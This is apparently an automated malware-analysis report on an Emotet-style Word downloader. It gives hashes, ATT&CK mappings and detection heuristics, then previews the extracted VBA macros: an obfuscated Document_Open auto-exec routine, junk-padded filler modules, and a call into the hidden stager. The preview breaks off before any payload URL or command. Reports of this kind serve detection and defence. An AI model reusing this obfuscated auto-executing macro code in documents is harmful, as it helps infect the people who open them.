Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbc7e227ec8bd451…

MALICIOUS

Office (OLE)

216.7 KB Created: 2020-02-05 15:58:00 Authoring application: Microsoft Office Word First seen: 2021-09-23
MD5: 2b967b3c953fcaf93c79150cb799ef2c SHA-1: 75964933c47f6c2b916fc94ac18c5d43b66acd44 SHA-256: fbc7e227ec8bd45144bdd33ac13c8a9b563282ce2c47bed6f613e71ed22dea4b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malware execution. The critical heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' confirms auto-execution via CreateObject. ClamAV detection further supports its malicious nature. The VBA code likely acts as a stager to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-7584359-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-7584359-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12007 bytes
SHA-256: 07d43ba4e259339fc062e9f0d4b1e005e80fb97a3e8bff3fbbd1c2d6ccd699e5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hnhmdifxv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Uejtqrdjmx.Ptdrugoknr
End Sub

Attribute VB_Name = "Hnyvbkwpp"
Attribute VB_Base = "0{BBFD1065-8B5B-4B20-A6C1-1D4217F56021}{5015D484-74E0-48F4-B8FF-C71CFB5A45DB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ckytwyphy"
Attribute VB_Base = "0{257C4799-2D5C-4530-A7A9-13393F984F0D}{3510E792-2A09-46C0-9D91-F89D94C69A32}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Mjfwdyofunf()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Ntdroavm"
Attribute VB_Base = "0{91559D32-91D2-45DC-8C07-CDACDB3AC371}{5617F7F5-DF98-474E-9466-2E32C7189A4B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Axfpcpic()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Koxkxygwj"
Attribute VB_Base = "0{20196D9A-779D-4E83-A147-9D238D24B91A}{9F05DB30-31AF-41ED-AC2E-CCDFD59893BC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xhxgcvxsxfd()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Fyxjmpmln"
Attribute VB_Base = "0{75C0BC15-D077-4AF6-A723-843DB0C7971E}{FA134AE2-27F7-4A74-B8AA-B5CC8788D163}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Yvsupuzcvmd()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Jzukkuagg"
Attribute VB_Base = "0{FD7B9C00-84E0-464D-A562-7D8E54FE5111}{AB73370C-4845-41D0-83CE-42794061EE9E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ybxjtwfjk()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Gccccgant"
Attribute VB_Base = "0{B8A23511-3EE4-47D5-A8FC-19ACBD9A4150}{1BA7F4A9-4AC3-4EF1-A62B-FE2E2937265C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ozmubaswk()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Nvoxpjyh"
Attribute VB_Base = "0{E8415345-ECFD-4D89-AE11-8B3CC1686F98}{6DFCAA30-8356-449E-ACBD-9B4EC7411B07}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Cbssihsuf()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Uejtqrdjmx"
Function Ptdrugoknr()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 
... (truncated)